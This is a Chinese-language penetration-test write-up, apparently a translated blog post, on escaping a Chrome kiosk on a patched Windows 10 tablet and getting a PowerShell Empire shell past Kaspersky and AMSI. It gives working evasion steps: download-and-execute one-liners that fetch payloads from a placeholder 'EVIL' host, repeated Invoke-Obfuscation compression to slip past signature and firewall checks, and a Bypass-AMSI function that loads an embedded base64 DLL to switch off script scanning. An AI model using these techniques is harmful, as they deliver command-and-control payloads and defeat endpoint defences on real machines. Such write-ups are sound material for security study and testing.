导语:在最近,我获得了一台没有安装渗透测试工具的Windows平板电脑,并且要求我测试其安全性,以及尝试能够在多大程度上实现对该计算机的渗透。

简介

在最近,我获得了一台没有安装渗透测试工具的Windows平板电脑,并且要求我测试其安全性,以及尝试能够在多大程度上实现对该计算机的渗透。我有自己的笔记本电脑,但并不允许我直接连接到内部网络。但是,如果我成功攻陷平板电脑,那么就可以将其作为C&C服务器。长话短说,要获得原始Shell,比拥有网络更加困难,因为这一过程需要绕过反病毒软件。

部署环境

1、Windows 10操作系统,已安装全部安全补丁;

2、最新版本的卡巴斯基终端安全11(Kaspersky Endpoint Security 11);

3、以kiosk/PoS模式运行的Google Chrome;

4、C&C上的PowerShell Empire监听器。

初步尝试

因此,我在平板电脑上以Kiosk/PoS模式启动Chrome,发现每个Windows快捷方式都被阻止,包括Win+R、Alt+Tab、Ctrl+P、Alt+Space等。关于这方面的更多信息,可以参考:ttps://www.trustedsec.com/2015/04/kioskpos-breakout-keys-in-windows/

然而,用于打开新页面的Ctrl+N快捷方式还没有被阻止。我们有了一个新的页面,同时能够访问互联网,这显然不错。我跳转到URL栏,并迅速使用 file:// 协议来下载并打开cmd.exe:

1.png

我并没有直接在弹出的中断中进行操作,而是尝试打开Windows资源管理器,通过单击下载文件中的“打开文件所在位置”,实现对文件和共享目录的GUI界面访问。但是,该访问被拒绝,可能是由于GPO的原因。

2.png

我们回到终端:

1、我首先列举了文件和共享,但没有发现任何有趣的东西。

2、运行wmic product get name, version,以获取名称、版本,并列举已经安装的软件和相关版本。

3、运行wmic qfe get,列出修补程序。

4、运行net user my_user /domain(在这里,my_user是域加入的,用于模拟内部攻击)。

5、运行whoami /priv,列出我的特权。

至此,还没有什么有效的漏洞利用方式,可以让我快速取胜。我将一个没有管理员权限的用户加入到域中,同时还有许多限制性GPO应用到我所在的组。与此同时,计算机中还存在版本为11.0.0.6499的卡巴斯基终端安全,以及Windows Defender。

在失败中不断尝试

我的目标之一,是尝试通过注入Empire,来绕过反病毒软件。由于条件所限,我没有复制一个相同的平板电脑环境来进行测试。所以,我开始通过加密通道下载Empire PowerShell启动器,并使用PowerShell的Invoke-Expression:IEX (New-Object Net.Webclient).downloadstring("https://EVIL/hello_there")。这一过程会被检测到,但不是被反病毒软件检测,我们推测是防火墙执行了SSL检查。因此,我需要一个Payload,在内存中执行之前,至少可以先通过防火墙。我花了整整一天时间不断尝试,然后遭遇一遍又一遍的失败,不是被防火墙检测到,就是被反病毒软件检测到。

压缩和内存修补

我们知道,平板电脑上已经安装了Windows Defender,并且由卡巴斯基执行了大多数反恶意软件扫描。我们了解到,卡巴斯基会利用AMSI来检测基于脚本的攻击。事实上,在他们的网站上也提到了使用AMSI技术,但只在Kaspersky Security for Windows Server页面有所体现:

支持AMSI接口。使用集成在Microsoft Windows中的AMSI技术,可以改进拦截服务器上启动脚本的机制。脚本监控任务的稳定性得到改善,并且在拦截脚本时会降低应用程序对环境的影响,在检测到威胁时能够及时阻止它们,任务的覆盖范围也得到显著扩展。目前,脚本监控组件不仅适用于JS中的脚本和VBS文件,还适用于PS1文件。在运行Microsoft Windows Server 2016或更高版本的服务器上安装脚本监视组件时,可以使用这个功能。

我的一位同事最近发表了一篇优秀的文章,内容是关于如何绕过/禁用反恶意软件扫描接口(AMSI),而无需通过使用DLL在内存中修补来提升权限:https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html

考虑到这一点,我们首先要绕过流量检查。Invoke-Obfuscation可以帮我们做到。经过多次压缩Empire Payload,就足以绕过这一检查机制。

首先,我们获取Empire生成的launcher.bat文件的Base 64部分,对其进行解码,并将其发送到Invoke-Obfuscation。为此,我们可以运行set SCRIPTBLOCK our_empire_base64decoded_payload:

3.png

接下来,我们运行几次COMPRESS\1,来压缩我们的Payload:

4.png

然后,我成功下载了文件,并使用IEX将其加载到内存中。但现在,我们绕过了流量检查,没有绕过反病毒软件阻止Payload的执行。

我在这次尝试中所学到的就是,在AMSI检查脚本之前,卡巴斯基的启发式检测或基于签名的检测机制就会先朝着我的Payload开火。我必须将Payload压缩4次才能绕过反病毒软件,但这会被AMSI检测到:

5.png

接下来,我们要做的就是禁用AMSI。我们在Web服务器上托管了如下代码,并使用IEX将其下载到平板电脑上:

function Bypass-AMSI
{
    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAKJrPYwAAAAAAAAAAOAAIiALATAAAA4AAAAGAAAAAAAAxiwAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAHEsAABPAAAAAEAAAIgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAADUKwAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA1AwAAAAgAAAADgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAIgDAAAAQAAAAAQAAAAQAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAFAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAClLAAAAAAAAEgAAAACAAUAECEAAMQKAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwBACqAAAAAQAAEXIBAABwKAIAAAYKBn4QAAAKKBEAAAosDHITAABwKBIAAAoXKgZyawAAcCg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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==")) | Out-Null
        Write-Output "DLL has been reflected";
    }
    [Bypass.AMSI]::Disable()
}

源代码位于:https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html

首先执行IEX (New-Object Net.Webclient).downloadstring("https://EVIL/amsi"),然后即可绕过AMSI。

成功执行

现在,Payload已经被压缩4次,并且AMSI已经被禁用,我们就可以下载Payload,并在内存中执行:

IEX (New-Object Net.Webclient).downloadstring("https://EVIL/compressed4.txt")

6.png

在上面的屏幕截图中,我们可以看到卡巴斯基最多可以检测到Payload被压缩3次。第四次,Payload将通过反病毒软件的检测,并且由于AMSI已经被禁用,我们可以成功执行:

7.png

感谢大家的阅读!

源链接

Hacking more

...